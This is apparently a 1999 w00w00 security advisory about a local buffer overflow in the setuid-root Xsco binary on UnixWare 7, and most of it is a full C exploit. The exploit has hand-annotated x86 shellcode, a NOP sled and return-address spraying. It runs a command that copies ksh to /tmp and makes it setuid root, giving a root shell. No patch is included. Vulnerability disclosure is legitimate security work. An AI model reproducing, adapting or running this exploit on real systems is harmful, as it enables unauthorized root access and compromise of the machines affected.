w00w00 Security Development (WSD) http://www.w00w00.org/advisories.html Discovered by: K2 (ktwoat_private) Due to improper bounds checking, an overflow occurs when a lengthy argument (argv[1]) is passed. Because Xsco runs with superuser privileges, this can be exploited for elevated privileges. ----------------------------------------------------------------------------- Exploit (by K2): // UnixWare7 /usr/X/bin/Xsco local, K2/cheez // // Xsco produces some strange side effect's with the execve; it seems // that commands can not be run interactively. Thanks to cheez for the // shellcode. #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char shell[] = /* 0 */ "\xeb\x5f" /* jmp springboard */ /* syscall: */ /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */ /* 9 */ "\xc3" /* ret */ /* start: */ /* 10 */ "\x5e" /* popl %esi */ /* 11 */ "\x31\xc0" /* xor %eax,%eax */ /* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */ /* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */ /* seteuid: */ /* 19 */ "\x31\xc0" /* xor %eax,%eax */ /* 21 */ "\x50" /* pushl %eax */ /* 22 */ "\xb0\x8d" /* movb $0x8d,%al */ /* 24 */ "\xe8\xe5\xff\xff\xff" /* call syscall */ /* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* setuid: */ /* 32 */ "\x31\xc0" /* xor %eax,%eax */ /* 34 */ "\x50" /* pushl %eax */ /* 35 */ "\xb0\x17" /* movb $0x17,%al */ /* 37 */ "\xe8\xd8\xff\xff\xff" /* call syscall */ /* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* execve: */ /* 45 */ "\x31\xc0" /* xor %eax,%eax */ /* 47 */ "\x50" /* pushl %eax */ /* 48 */ "\x56" /* pushl %esi */ /* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */ /* 51 */ "\xf7\xdb" /* negl %ebx */ /* 53 */ "\x89\xf7" /* movl %esi,%edi */ /* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */ /* 58 */ "\x57" /* pushl %edi */ /* 59 */ "\x89\x3e" /* movl %edi,(%esi) */ /* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */ /* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */ /* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */ /* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */ /* 79 */ "\x01\xdf" /* addl %ebx,%edi */ /* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */ /* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /* 87 */ "\xb0\x3b" /* movb $0x3b,%al */ /* 89 */ "\xe8\xa4\xff\xff\xff" /* call syscall */ /* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */ /* springboard: */ /* 97 */ "\xe8\xa4\xff\xff\xff" /* call start */ /* data: */ /* 102 */ "\xff\xff\xff\xff" /* DATA */ /* 106 */ "\xff\xff\xff\xff" /* DATA */ /* 110 */ "\xff\xff\xff\xff" /* DATA */ /* 114 */ "\xff\xff\xff\xff" /* DATA */ /* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */ /* 126 */ "\x2d\x63\xff"; /* DATA */ #define SIZE 600 #define NOPDEF 101 #define DEFOFF -240 #define LEN 102 const char x86_nop=0x90; long nop=NOPDEF,esp; long offset=DEFOFF; char buffer[SIZE]; long get_esp() { __asm__("movl %esp,%eax"); } int main (int argc, char *argv[]) { int i,len; char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh"; memset(buffer, x86_nop, SIZE); len = strlen(cmd); len++; len = -len; shell[LEN+0] = (len >> 0) & 0xff; shell[LEN+1] = (len >> 8) & 0xff; shell[LEN+2] = (len >> 16) & 0xff; shell[LEN+3] = (len >> 24) & 0xff; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtoul(argv[2], NULL, 0); esp = get_esp(); buffer[0]=':'; memcpy(buffer+nop, shell, strlen(shell)); memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd)); memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1); for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) { *((int *) &buffer[i]) = esp+offset; } printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset, nop); execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL); printf("exec failed!\n"); return 0; } ----------------------------------------------------------------------------- Patch: Because SCO doesn't distribute source code for Unixware, we'll wait for them to release a patch. ----------------------------------------------------------------------------- Contributors to w00giving '99: awr, jobe, Sangfroid, rfp, vacuum, and interrupt, k2, cheez, dmess0r, and others Today's w00sites: http://www.roses-labs.com http://www.technotronic.com
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